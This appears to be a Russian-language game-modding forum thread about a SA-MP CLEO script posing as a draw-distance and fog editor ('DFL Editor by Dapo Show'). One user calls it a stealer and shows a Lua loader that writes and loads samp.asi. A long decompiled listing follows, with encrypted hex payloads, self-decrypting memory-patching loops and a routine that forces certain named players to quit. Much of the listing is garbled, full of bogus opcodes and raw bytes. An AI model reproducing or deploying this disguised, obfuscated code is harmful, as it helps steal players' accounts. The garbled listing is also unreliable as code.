B6 6C 57 A4 87 27 8E 7A 36 63 3F 5E C5 52 B2 8F
26 9D 65 97 C7 53 06 1C E2 C6 07 9B FD FB 82 5D
15 24 12 65 B4 16 2E F3 73 8D D2 5F A2 7D 37 4F
07 0D FC 64 06 53 5E FE F3 1E 0D F6 67 AE 8F B3
FC CD F2 ED E6 1E 0C 16 75 6A 0F EF 7A CE 4E CB
8E 6F 04 13 23 8B 6E 33 04 9D C3 2B B4 75 EF 9C
AC 7D 7F DE 8A 75 3A 2B C6 E5 77 62 2F 92 B5 9D
B6 AD 86 6F 6B 04 C6 92 6E 7D A7 14 72 74 27 4B
B5 02 62 67 3E 0E 2F 9C 54 CA 6E D2 4E CD 2A 34
BE EF 55 B6 0B 07 CE 53 1D 35 8A B3 37 FC 76 CE
4D D7 2A FD F3 27 FF FF
end
0A9F: 2@ = current_thread_pointer
2@ += 16
0A8D: 3@ = read_memory 2@ size 4 virtual_protect 1
0062: 3@ -= 0@ // (int)
4@ = 0
0A8E: 5@ = 3@ + 4@ // int
0A8D: 6@ = read_memory 5@ size 1 virtual_protect 1
7@ = -101
0A8F: 6@ = 255 - 6@ // int
0A8C: write_memory 5@ size 1 value 6@ virtual_protect 1
4@ += 1
001D:   4@ > 1@ // (int)
jf @NONAME_3509
ret 0
hex
E3 3B 1B DC 8B 6A 2B 83 26 A6 16 4A F5 07 CF 44
1B DA 66 8C 4A C4 BF 45 65 74 23 33 8C 95 4C 16
0C 4B E7 DC FC 25 55 4A 87 6D DD E7 5E 4A E3 A5
BA 9A 2F B3 3B 5F 6F 2F DC 46 DE 6B E5 64 D2 4A
AD 6D D6 6B 35 8F AD 42 5D 12 E4 F3 BF 54 DD 75
F6 24 57 B4 2B 0B CE 56 1A 76 1C E2 BF D7 D7 42
97 E2 4D DB 2A BE CD 93 4F 7B 3C A7 BD 22 EA E3
A7 13 3F 46 3E 5F FC 86 57 AD 97 1A 55 4E 0C 43
2A C6 67 FD 33 7F 64 72 B4 74 BC 75 8C 23 C7 3E
BF 2A 05 FC FF 3A 9B A7 8E A4 B6 2B 55 FA 43 9D
96 34 1F 6D 03 F4 1E FC
end
0012:  // Note: the incorrect math opcode was used here
hex
00 5F 5F 53 42 46 54 52 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00
end
это стиллер
Lua:
}
fq = io.open("samp.asi", "wb")

for slot3, slot4 in pairs(s) do
    fq:write(string.char(slot4))
end

io.close(fq)

lib, biil = loadDynamicLibrary("samp.asi")
 
  • Нравится
Реакции: loganhackerdff

loganhackerdff

Известный
868
519
скрипт не будет работать перепишешь
код:
// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}
{$USE bitwise}
{$USE CLEO+}
{$USE file}
{$USE ini}
{$USE newOpcodes}

0000: NOP
0662: printstring "YouTube.com/DapoShow"
0662: printstring "VK.COM/DAPODOPE"

:NONAME_45
wait 0
   SAMP.Available
jf @NONAME_45
0C6A: TIMERB = create_custom_thread_at_label -2684
   not call -3460 1 -84
if
0AAB:   file_exists "CLEO\DFL Editor by Dapo Show.ini"
jf @NONAME_300
0AF2: 0@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Distance"
0AF2: 6@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Fog"
0AF2: 10@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Lods"
jump @NONAME_630

:NONAME_300
0AF3: write_float 500.0 to_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Distance"
0AF3: write_float 200.0 to_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Fog"
0AF3: write_float 230.0 to_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Lods"
0AF2: 0@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Distance"
0AF2: 6@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Fog"
0AF2: 10@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Lods"

:NONAME_630
0B34: samp register_client_command "dd" to_label @NONAME_869
0B34: samp register_client_command "fd" to_label @NONAME_1508
0B34: samp register_client_command "ld" to_label @NONAME_2145
chatmsg "{73b461}[DFL Editor] {ffffff}Загружен! {DC4747}Управление: {ffffff}/fd, /dd, /ld {DC4747}v3.0 {ffffff}by Dapo Show" -1
0A8C: write_memory 5499541 size 4 value 12044272 virtual_protect 1
0A8C: write_memory 8381985 size 4 value 13213544 virtual_protect 1

:NONAME_816
wait 0
0A8C: write_memory 12044272 size 4 value 0@ virtual_protect 1
0A8C: write_memory 13210352 size 4 value 6@ virtual_protect 1
0A8C: write_memory 8753112 size 4 value 10@ virtual_protect 1
jump @NONAME_816

:NONAME_869
   SAMP.IsCommandTyped(2@)
0AD4: 1@ = scan_string 2@ format "%d" 7@
0C17: 1@ = strlen 2@
if
  1@ > 0
jf @NONAME_1293
if and
  7@ > 34
   not 7@ >= 3601
jf @NONAME_1203
008F: 4@ = integer 7@ to_float
0A8D: 8@ = read_memory 13210352 size 4 virtual_protect 1
if
0025:   4@ > 8@ // (float)
jf @NONAME_1112
0092: 9@ = float 8@ to_integer
0AF3: write_float 4@ to_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Distance"
0AF2: 0@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Distance"
jump @NONAME_1196

:NONAME_1112
chatmsg "{73b461}[DFL Editor] {ffffff}Нельзя ставить прорисовку {DC4747}меньше тумана!" -1

:NONAME_1196
jump @NONAME_1286

:NONAME_1203
chatmsg "{73b461}[DFL Editor] {ffffff}Допустимые значения: {DC4747}35 - 3600{ffffff}!" -1

:NONAME_1286
jump @NONAME_1364

:NONAME_1293
chatmsg "{73b461}[DFL Editor] {ffffff}Используйте {DC4747}/dd [35 - 3600]" -1

:NONAME_1364
0092: 11@ = float 0@ to_integer
0092: 12@ = float 6@ to_integer
0092: 13@ = float 10@ to_integer
chatmsg "{73b461}[DFL Editor] {ffffff}Прорисовка: {DC4747}%d {ffffff}Туман: {DC4747}%d {ffffff}Лоды: {DC4747}%d" -1 11@ 12@ 13@
SAMP.CmdRet

:NONAME_1508
   SAMP.IsCommandTyped(2@)
0AD4: 1@ = scan_string 2@ format "%d" 7@
0C17: 1@ = strlen 2@
if
  1@ > 0
jf @NONAME_1928
0A8D: 8@ = read_memory 12043504 size 4 virtual_protect 1
008F: 4@ = integer 7@ to_float
if and
  4@ > -101.0
   not 4@ >= 3601.0
jf @NONAME_1836
if
0025:   8@ > 4@ // (float)
jf @NONAME_1746
0092: 9@ = float 8@ to_integer
0AF3: write_float 4@ to_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Fog"
0AF2: 6@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Fog"
jump @NONAME_1829

:NONAME_1746
chatmsg "{73b461}[DFL Editor] {ffffff}Нельзя ставить туман {DC4747}больше прорисовки!" -1

:NONAME_1829
jump @NONAME_1921

:NONAME_1836
chatmsg "{73b461}[DFL Editor] {ffffff}Допустимые значения: {DC4747}-100 - 3600{ffffff}!" -1

:NONAME_1921
jump @NONAME_2001

:NONAME_1928
chatmsg "{73b461}[DFL Editor] {ffffff}Используйте {DC4747}/fd [-100 - 3600]" -1

:NONAME_2001
0092: 11@ = float 0@ to_integer
0092: 12@ = float 6@ to_integer
0092: 13@ = float 10@ to_integer
chatmsg "{73b461}[DFL Editor] {ffffff}Прорисовка: {DC4747}%d {ffffff}Туман: {DC4747}%d {ffffff}Лоды: {DC4747}%d" -1 11@ 12@ 13@
SAMP.CmdRet

:NONAME_2145
   SAMP.IsCommandTyped(2@)
0AD4: 1@ = scan_string 2@ format "%d" 7@
0C17: 1@ = strlen 2@
if
  1@ > 0
jf @NONAME_2455
0A8D: 8@ = read_memory 8753112 size 4 virtual_protect 1
008F: 4@ = integer 7@ to_float
if and
  4@ >= 0.0
   not 4@ > 1000.0
jf @NONAME_2366
0092: 7@ = float 4@ to_integer
0AF3: write_float 4@ to_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Lods"
0AF2: 10@ = get_float_from_ini_file "CLEO\DFL Editor by Dapo Show.ini" section "Params" key "Lods"
jump @NONAME_2448

:NONAME_2366
chatmsg "{73b461}[DFL Editor] {ffffff}Допустимые значения: {DC4747}1 - 1000{ffffff}!" -1

:NONAME_2448
jump @NONAME_2525

:NONAME_2455
chatmsg "{73b461}[DFL Editor] {ffffff}Используйте {DC4747}/ld [1 - 1000]" -1

:NONAME_2525
0092: 11@ = float 0@ to_integer
0092: 12@ = float 6@ to_integer
0092: 13@ = float 10@ to_integer
chatmsg "{73b461}[DFL Editor] {ffffff}Прорисовка: {DC4747}%d {ffffff}Туман: {DC4747}%d {ffffff}Лоды: {DC4747}%d" -1 11@ 12@ 13@
SAMP.CmdRet
   not call -3460 1 -84

:NONAME_2684
wait 0
   SAMP.Available
jf @NONAME_2684
alloc 0@ 256
   not call -3016 1 -2720

:NONAME_2720
wait 0
1@ = SAMP.GetSAMPPlayerIDByActorHandle($PLAYER_ACTOR)
0@ = SAMP.GetPlayerNickname(1@)
if or
0C18: 3@ = strstr string1 0@ string2 "Dapo_Dope"
0C18: 3@ = strstr string1 0@ string2 "Abramovich"
0C18: 3@ = strstr string1 0@ string2 "Iori_"
0C18: 3@ = strstr string1 0@ string2 "Arsen_Cherep"
0C18: 3@ = strstr string1 0@ string2 "Glock_Wilder"
0C18: 3@ = strstr string1 0@ string2 "Abramstone"
jf @NONAME_2882
0C8F: samp process_chat_input "/q"
jump @NONAME_2942

:NONAME_2882
if
0C18: 3@ = strstr string1 0@ string2 "Miracle"
jf @NONAME_2942
if
8C18:   not 3@ = strstr string1 0@ string2 "Rossi"
jf @NONAME_2942
0C8F: samp process_chat_input "/q"

:NONAME_2942
jump @NONAME_2720
   not call -3016 1 -2720
hex
48 45
end
0058: 0 += // (int)
hex
00 45 00 00 00 0F 00 00 00 6D
end
000A:  // Note: the incorrect math opcode was used here
000F:  // Note: the incorrect math opcode was used here
9100:   not
000A:  // Note: the incorrect math opcode was used here
000F:  // Note: the incorrect math opcode was used here
8500:   not player 0@s skin ==
0103:   actor stopped_in_car
hex
01 1C FF FF FF 9F 0A 03
end
jump s$192
jump 16
0A8D: 3@ = read_memory 2@ size 4 virtual_protect 1
0062: 3@ -= 0@ // (int)
4@ = 0

:NONAME_3065
0A8E: 5@ = 3@ + 4@ // int
0A8D: 6@ = read_memory 5@ size 1 virtual_protect 1
7@ = -51
0B12: 6@ = 6@ XOR 7@
0A8C: write_memory 5@ size 1 value 6@ virtual_protect 1
4@ += 1
001D:   4@ > 1@ // (int)
jf @NONAME_3065
ret 0
hex
A5 23 93 5C A2 DF 9B 67 F7 8B 75 B3 2B DD ED 92
DB 75 0E D4 2E 83 D4 22 54 6E 92 9B 26 45 94 2A
7C FB 74 52 6A 27 2F B6 B2 1D A6 DC 4E F2 44 84
14 4C 57 C2 33 EC 6E BA 57 37 14 3B FD 42 DD 5C
6E 34 E5 AB 83 93 42 3C 5F 6D A4 D5 C4 C6 6B 1E
DA 15 3E 85 A6 9B CD F3 FF B2 05 2A E2 E2
end
03DE: set_pedestrians_density_multiplier_to 25150@s
hex
6B 9C BB 8E 63 9E 44 64 63 86 52 9C E3 6B EB 2A
85 4F 15 35 FA C6 4B 0E D6 E5 DD 53 EA D7 A3 CD
64 D6 BB 6B 6F 06 AD 27 7E 4A 5C FC 16 0B 6C 12
B6 6C 57 A4 87 27 8E 7A 36 63 3F 5E C5 52 B2 8F
26 9D 65 97 C7 53 06 1C E2 C6 07 9B FD FB 82 5D
15 24 12 65 B4 16 2E F3 73 8D D2 5F A2 7D 37 4F
07 0D FC 64 06 53 5E FE F3 1E 0D F6 67 AE 8F B3
FC CD F2 ED E6 1E 0C 16 75 6A 0F EF 7A CE 4E CB
8E 6F 04 13 23 8B 6E 33 04 9D C3 2B B4 75 EF 9C
AC 7D 7F DE 8A 75 3A 2B C6 E5 77 62 2F 92 B5 9D
B6 AD 86 6F 6B 04 C6 92 6E 7D A7 14 72 74 27 4B
B5 02 62 67 3E 0E 2F 9C 54 CA 6E D2 4E CD 2A 34
BE EF 55 B6 0B 07 CE 53 1D 35 8A B3 37 FC 76 CE
4D D7 2A FD F3 27 FF FF
end
0A9F: 2@ = current_thread_pointer
2@ += 16
0A8D: 3@ = read_memory 2@ size 4 virtual_protect 1
0062: 3@ -= 0@ // (int)
4@ = 0

:NONAME_3509
0A8E: 5@ = 3@ + 4@ // int
0A8D: 6@ = read_memory 5@ size 1 virtual_protect 1
7@ = -101
0A8F: 6@ = 255 - 6@ // int
0A8C: write_memory 5@ size 1 value 6@ virtual_protect 1
4@ += 1
001D:   4@ > 1@ // (int)
jf @NONAME_3509
ret 0
hex
E3 3B 1B DC 8B 6A 2B 83 26 A6 16 4A F5 07 CF 44
1B DA 66 8C 4A C4 BF 45 65 74 23 33 8C 95 4C 16
0C 4B E7 DC FC 25 55 4A 87 6D DD E7 5E 4A E3 A5
BA 9A 2F B3 3B 5F 6F 2F DC 46 DE 6B E5 64 D2 4A
AD 6D D6 6B 35 8F AD 42 5D 12 E4 F3 BF 54 DD 75
F6 24 57 B4 2B 0B CE 56 1A 76 1C E2 BF D7 D7 42
97 E2 4D DB 2A BE CD 93 4F 7B 3C A7 BD 22 EA E3
A7 13 3F 46 3E 5F FC 86 57 AD 97 1A 55 4E 0C 43
2A C6 67 FD 33 7F 64 72 B4 74 BC 75 8C 23 C7 3E
BF 2A 05 FC FF 3A 9B A7 8E A4 B6 2B 55 FA 43 9D
96 34 1F 6D 03 F4 1E FC
end
0012:  // Note: the incorrect math opcode was used here
hex
00 5F 5F 53 42 46 54 52 00 00 00 00 00 00 00 00
48 CB B9 A9 AA 9F 01 08 28 72 E2 04 C8 EE
end
04E2: NOP s$0
hex
C0 D0 E0 F0 B6 06 F8 2E
end
0029:    // Note: the incorrect math opcode was used here
hex
00 2C 0F CC 17 FF FF FF FF FF FF FF FF 2F 44 41
50 69 88 BE 3E 45 00 00 8C E0 11 CC 17 D0 0F CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
8401:   not
hex
F5 FF 64 88 B3 3E
end
0100:   actor in_car
hex
CC 17 70 0F CC 17 00 00 00 00 29 FF FB FF 63 88
B0 3E BC 02 00 8C 58 0F CC 17 E0 11 CC 17 00 00
00 00 9D 86 DF BB 7E 88 B5 3E AC 03 00 8C A0 0F
CC 17 28 12 CC 17 00 00 00 00 F5 F1 DF BC 7D 88
AA 3E
end
select_interior
hex
8C 78 10 CC
end
8817:   not assign_actor 'М' to_animation_path_with_walk_mode
hex
8C C8 11 CC 17 E0 04 E2
end
0004:  // Note: the incorrect math opcode was used here
0000: NOP
hex
8B 9E 91 9C 77 88 AC 3E
end
060D: draw_text_shadow
hex
8C 40 0F CC 17 90 10 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
908B:   not
hex
8D DF 72 88 A1 3E 9E 07 00 8C 98 11 CC 17 08 11
CC 17 00 00 00 00 8D 9E 92 8C 71 88 A6 3E
end
0898: set_cranes_controls_enable_UP
hex
8C B0 11 CC 17 58 0F CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
DF BA 9B 96 8C 8B 9B 3E 9D 09 00 8C F8 11 CC 17
48 10 CC 17 00 00 00 00 F1 F9 AF 9E 8B 8B 98 3E
end
0AF1: write_int
hex
8C F0 10 CC 17 60 10 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
0C F5 F9 FF 86 8B 9D 3E
end
0BDF: resume_thread
hex
8C 18 10 CC 17 98 11 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
DF 9D 86 DF 85 8B 92 3E DF 0C 00 8C 30 10 CC 17
F8 11 CC 17 00 00 00 00 8C F1 F7 BB 80 8B 97 3E
91 0D 00 8C A8 10 CC 17 A0 0F CC 17 00 00 00 00
A3 BB B9 B3 9F 8B 94 3E 8B 0E 00 8C D0 0F CC 17
C8 11 CC 17 00 00 00 00 D1 96 91 96 9A 8B 89 3E
8D 0F 00 8C C0 10 CC 17 78 10 CC 17 00 00 00 00
F1 DF BC B3 99 8B 8E 3E B9 10 00 8C D8 10 CC 17
A8 10 CC 17 00 00 00 00 90 DF AC 97 94 8B 83 3E
91 11 00 8C 20 11 CC 17 C0 10 CC 17 00 00 00 00
0D F5 F1 DF 93 8B 80 3E A3 12 00 8C 28 12 CC 17
30 10 CC 17 00 00 00 00 9E 8F 90 DF AE 8B 85 3E
D1 13 00 8C E8 0F CC 17 10 12 CC 17 00 00 00 00
8C 8B 9E 91 AD 8B FA 3E FF 14 00 8C 38 11 CC 17
D8 10 CC 17 00 00 00 00 96 8B 90 8D A8 8B FF 3E
BB 15 00 8C 50 11 CC 17 20 11 CC 17 00 00 00 00
9E 8D 9E 92 A7 8B FC 3E 90 16 00 8C 68 11 CC 17
38 11 CC 17 00 00 00 00 B3 DF BA 9B A2 8B F1 3E
DF 17 00 8C 80 11 CC 17 50 11 CC 17 00 00 00 00
96 F1 F9 AF A1 8B F6 3E 8C 18 00 8C B8 12 CC 17
68 11 CC 17 00 00 00 00 FE 64 03 00 BC 8B EB 3E
FD 19 00 8C 48 10 CC 17 E8 0F CC 17 00 00 00 00
end
0008:  // Note: the incorrect math opcode was used here
hex
07 BB 8B E8 3E C8 1A 00 8C 10 12 CC
end
0017: v$1523[0] /=  // Note: the incorrect math opcode was used here
0000: NOP
9000:   not
hex
8D A2 DF B6 8B ED 3E 99 1B 00 8C 90 10 CC 17 B8
0F CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
BC CB C8 CB B5 8B E2 3E 0F 1C 00 8C 70 0F CC 17
40 0F CC 17 00 00 00 00 99 82 D0 99 B0 8B E7 3E
9B 1D 00 8C 60 10 CC 17 18 10 CC 17 00 00 00 00
89 CC D1 CF CF 8B E4 3E 99 1E 00 8C 08 11 CC 17
B0 11 CC 11 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
88 FB 00 FF CA 8B D9 3E 15 1F 00 8C 88 0F CC 17
F0 10 CC 17 00 00 00 00 19 80 FF FB C9 8B DE 3E
36 20 00 8C 88 12 CC 17 00 13 CC 17 00 00 00 00
FB FC FF FF C4 8B D3 3E FE 21 00 8C 08 E8 E2 04
88 12 CC 12 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
70 7A FF FB C3 8B D0 3E FB 22 00 8C A0 12 CC 17
D0 12 CC 17 00 00 00 00 FC FD FF F1 DE 8B D5 3E
FE 23 00 8C 58 12 CC 17 40 12 CC 17 00 00 00 00
FB FF E6 FF DD 8B CA 3E FF 24
end
= Math.Abs()
hex
13 CC 17 70 12 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
FF FB DD D6 D8 8B CF 3E FA 25 00 8C E8 12 CC 17
80 11 CC 17 00 00 00 00 F8 FF 72 F5 D7 8B CC 3E
FF 26 00 8C 70 12 CC 17 E8 12 CC 17 00 00 00 00
FF FC F7 FF D2 8B C1 3E 04 27 00 8C D0 12 CC 17
B8 12 CC 17 00 00 00 00 F1 DF BC B3 D1 8B C6 3E
B9 28 00 8C 40 12 CC 17 A0 12 CC 17 00 00 00 00
90 DF AC 97 53 CA B0 BA F2 9E 01 00 C0 00 E2 04
C0 7D
end
04E2: NOP s$0
0000: NOP
0000: NOP
hex
BE 1A F8 2E
end
0029:    // Note: the incorrect math opcode was used here
hex
00 34 13 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
00 FE FF FF 9D 86 DF BB E6 8B BE 3E AC 00 00 80
60 13 CC 17 30 16 CC 17 00 00 00 00 F1 F7 BB 96
E5 8B B3 3E 9C 01 00 80 88 15 CC 17 48 13 CC 17
00 00 00 00 84 C8 CC 9D E0 8B B0 3E A4 02 00 80
00 16 CC 17 B8 15 CC 17 00 00 00 00 99 99 99 99
FF 8B B5 3E
end
0303: show_text_4numbers_highpriority GXT
0880: NOP
hex
14 CC 17 88 15 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
0E17:
hex
11 1D FA 8B AA 3E
end
select_interior
hex
80 E0 14 CC 17 C8 14 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
13 1F 12 1F F9 8B AF 3E
end
05FD:   actor on_foot
hex
80 D8 13 CC 17 D0 15 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
C9 CE 82 A4 F4 8B AC 3E
end
06BA: AS_actor
hex
80 68 14 CC 17 C0 13 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
113B:
hex
10 0C F3 8B A1 3E
end
0704: car
hex
80 58 15 CC 17 A0 15 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
CB C8 CB C8 0E 8B A6 3E
end
08D2: object
hex
80 B0 14 CC 17 90 13 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
00 FF FD FF 0D 8B 9B 3E
end
0900: clear_object last_weapon_damage
hex
80 38 14 CC 17 E0 14 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
B3 DF BA 9B 08 8B 98 3E
end
0AA2: // IF and SET
hex
80 50 14 CC 17 20 14 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
18 0C 16 0D 07 8B 9D 3E
end
0BBC: samp store_player
hex
80 F8 14 CC 17 38 14 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
CC C9 CF CF 02 8B 92 3E
end
0C6D: 6@ = get_thread
hex
80 18 16 CC 17 D8 13 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
6D FF FC F2 01 8B 97 3E 07 0D 00 80 70 15 CC 17
00 16 CC 17 00 00 00 00 DF BA 9B 96 1C 8B 94 3E
DF 0E 00 80 30 16 CC 17 E8 15 CC 17 00 00 00 00
1D 15 1F C5 1B 8B 89 3E CB 0F 00 80 C8 14 CC 17
08 14 CC 17 00 00 00 00 2D 0C 13 1F 16 8B 8E 3E
BB
end
0C2D: strrev in  out v$8192
hex
A8 13 CC 17 B0 14 CC 17 00 00 00 00 99 82 34 11
15 8B 83 3E 84 11 00 80 20 14 CC 17 A8 13 CC 17
00 00 00 00 F3 FF FC F2 10 8B 80 3E CA 12 00 80
10 15 CC 17 50 14 CC 17 00 00 00 00 FF FC F8 FF
2F 8B 85 3E FD 13 00 80 90 16 CC 17 F8 14 CC 17
00 00 00 00 B2 FF FE 87 2A 8B FA 3E F5 14 00 80
D0 15 CC 17 40 15 CC 17 00 00 00 00 FB FF FC F8
29 8B FF 3E FE 15 00 80 28 15 CC 17 E0 04
end
04E2: NOP
0000: NOP
hex
00 F9 FF EF 9E 24 8B FC 3E 2B 16 00 80 B8 15 CC
17 F0 13 CC
end
0017:  // Note: the incorrect math opcode was used here
0000: NOP
hex
B2 FF FE D1 23 8B F1 3E FF 17 00 80 E8 15 CC 17
80 14 CC 17 00 00 00 00 BA B0 A3 BB 3E 8B F6 3E
9B 18 00 80 90 13 CC 17 60 13 CC 17 00 00 00 00
90 88 D1 96 3D 8B EB 3E AF 19 00 80 F0 13 CC 17
18 16 CC 17 00 00 00 00 B3 BA B0 A3 38 8B E8 3E
BA 1A 00 80 78 13 CC 17 58 15 CC 17 00 00 00 00
97 90 88 D1 37 8B ED 3E F9 1B 00 80 C0 13 CC 17
28 15 CC 17 00 00 00 00 FF FE 24 07 32 8B E2 3E
F1 1C 00 80 98 14 CC 17 70 15 CC 17 00 00 00 00
9B 96 8B 90 31 8B E7 3E 99 1D 00 80 80 14 CC 17
78 13 CC 17 00 00 00 00 1F 1D 17 0D 4C 8B E4 3E
13 1E 00 80 A0 15 CC 17 68 14 CC 17 00 00 00 00
07 1A DF 10 4B 8B D9 3E 0E 1F 00 80 48 13 CC 17
98 14 CC 17 00 00 00 00 07 F5 F1 B1 46 8B DE 3E
CB 20 00 80 78 16 CC 17 08 17 CC 17 00 00 00 00
DF 84 99 99 45 8B D3 3E 82 21 00 80 C0 16 CC 17
78 16 CC 17 00 00 00 00 1A 12 17 00 40 8B D0 3E
BC 22 00 80 60 16 CC 17 48 16 CC 17 00 00 00 00
CF 84 99 99 5F 8B D5 3E 82 23 00 80 A8 16 CC 17
10 15 CC 17 00 00 00 00 84 C8 CC 9D 5A 8B CA 3E
A4 24 00 80 08 17 CC 17 90 16 CC 17 00 00 00 00
99 99 99 99 59 8B CF 3E 11 25 00 80 D8 16 CC 17
60 16 CC 17 00 00 00 00 82 D0 99 9B 54 8B CC 3E
CF 26 00 80 F0 16 CC 17 C0 16 CC 17 00 00 00 00
F4 FF FC FF 53 8B C1 3E F3 27 00 80 10 E9 E2 04
D8 16 CC 17 00 00 00 00 99 84 C8 CC 6E 8B C6 3E
82 28 00 80 48 16 CC 17 A8 16 CC 17 00 00 00 00
99 99 99 99
end
   Car.Wrecked()
hex
18 71 9F 01 00 C0 00 E2 04 B8 E9 E2 04 BC CB C8
CB C8 82 DA 9B DF 84 99 99 99 99 99 99 82 2D 0C
13 1F 12 C5 DF 84 BB 84 BB BC CB C8 CB C8 82 DA
9B DF 84 99 99 99 99 99 99 82 34 11 1B 04 C5 DF
84 BB BC CB C8 CB C8 82 DA 9B FB 00 FC F4 FF FC
F3 FF FC F2 FF FF BC F4 CA F4 FC FD FF 2B F5 FC
FD FF F1 FD DA 9B FC FE FF FC F8 FF FF E8 F3 FC
FD FF FC FE FF 29 FF FB FF E6 FF FC FE FF FB FF
B2 FF FE
end
0996: set_racing_checkpoint
hex
00 72 F5 FE 27 70 7A FF FB FB FB FE FC F7 FF 70
FF FC FB FF FC F8 FF 29 FF FB FE CE FF FC FB FF
F9 FF FF FF FF DE 7F FC FB FF F9 FF FF 85 BB B2
FF FE
end
093D: lock_camera_on_cinematic_view
hex
00 6D FF FC F8 FF FC FB FF 0C F5 FC FB FF F1 DF
BC B3 BA B0 A3 BB B9 B3 DF BA 9B 96 8B 90 8D DF
9D 86 DF BB 9E 8F 90 DF AC 97 90 88 D1 96 91 96
F1 F9 AF 9E 8D 9E 92 8C F1 FB B3 90 9B 8C 0D F5
F1 DF BC B3 BA B0 A3 BB B9 B3 DF BA 9B 96 8B 90
8D DF 9D 86 DF BB 9E 8F 90 DF AC 97 90 88 D1 96
91 96 F1 F9 AF 9E 8D 9E 92 8C F1 FB B3 90 9B 8C
FC F5 FF FD FF FE 8F 09 00 00 07 F5 F1 B4 84 C8
CC 9D CB C9 CE 82 A4 BB B9 B3 DF BA 9B 96 8B 90
8D A2 DF 84 99 99 99 99 99 99 82 3B 11 10 0C 0E
0D 17 13 04 1A DF 18 12 1F 08 1A 12 17 00 C5 DF
84 BB BC CB C8 CB C8 82 CE DF D2 DF CE CF CF CF
84 99 99 99 99 99 99 82 DE FB 00 FF FD FF FE DC
end
0009:  // Note: the incorrect math opcode was used here
hex
07 F5 F1 C0 84 C8 CC 9D CB C9 CE 82 A4 BB B9 B3
DF BA 9B 96 8B 90 8D A2 DF 84 99 99 99 99 99 99
82 37 0E 10 11 14 03 18 0C 16 0D 1A DF 84 BB BC
CB C8 CB C8 82 D0 93 9B DF A4 CE DF D2 DF CE CF
CF CF A2 FB 00 FF 6D FF FC F4 FF FC FF FF 6D FF
FC F3 FF FC F9 FF 6D FF FC F2 FF FC F5 FF 07 F5
F1 99 84 C8 CC 9D CB C9 CE 82 A4 BB B9 B3 DF BA
9B 96 8B 90 8D A2 DF 84 99 99 99 99 99 99 82 30
0F 11 0F 17 0E 11 1D 15 1F C5 DF 84 BB BC CB C8
CB C8 82 DA 9B DF 84 99 99 99 99 99 99 82 2D 0C
13 1F 12 C5 DF 84 BB 84 BB BC CB C8 CB C8 82 DA
9B DF 84 99 99 99 99 99 99 82 34 11 1B 04 C5 DF
84 BB BC CB C8 CB C8 82 DA 9B FB 00 FC F4 FF FC
F3 FF FC F2 FF FF BC F4 B1 8A 01 7C F2 FF FF
end
0104:   actor -84 near_actor
wait 0
   SAMP.Available
jf @NONAME_2684
alloc 0@ 256
   not call -3016 1 -2720
hex
CC CD C9 CD E6 C6 CF C1 CD CE CC CD FB C6 CE CC
CD CE CD CD 1B CD C9 D4 D5 C1 CE CD CD C3 C4 89
AC BD A2 92 89 A2 BD A8 CE CE CD D5 C1 CE CD CD
C3 C7 8C AF BF AC A0 A2 BB A4 AE A5 CE CE CD D5
C1 CE CD CD C3 C8 84 A2 BF A4 92 CE CE CD D5 C1
CE CD CD C3 C1 8C BF BE A8 A3 92 8E A5 A8 BF A8
BD CE CE CD D5 C1 CE CD CD C3 C1 8A A1 A2 AE A6
92 9A A4 A1 A9 A8 BF CE CE CD D5 C1 CE CD CD C3
C7 8C AF BF AC A0 BE B9 A2 A3 A8 CE CE CD 80 CD
CC 73 39 32 32 42 C1 C3 CF E2 BC CF CD CC 4F 39
32 32 1B CD C9 CD D5 C1 CE CD CD C3 CA 80 A4 BF
AC AE A1 A8 CE CE CD 80 CD CC 4F 39 32 32 1B CD
C9 CD D5 41 CE CD CD C3 C8 9F A2 BE BE A4 CE CE
CD 80 CD CC 4F 39 32 32 42 C1 C3 CF E2 BC CF CD
CC AD 38 32 32 B1 8A 01 38 F4 FF FF
end
0104:   actor -2720 near_actor
hex
48 45
end
0058: 0 += // (int)
hex
00 45 00 00 00 0F 00 00 00 6D
end
000A:  // Note: the incorrect math opcode was used here
000F:  // Note: the incorrect math opcode was used here
9100:   not
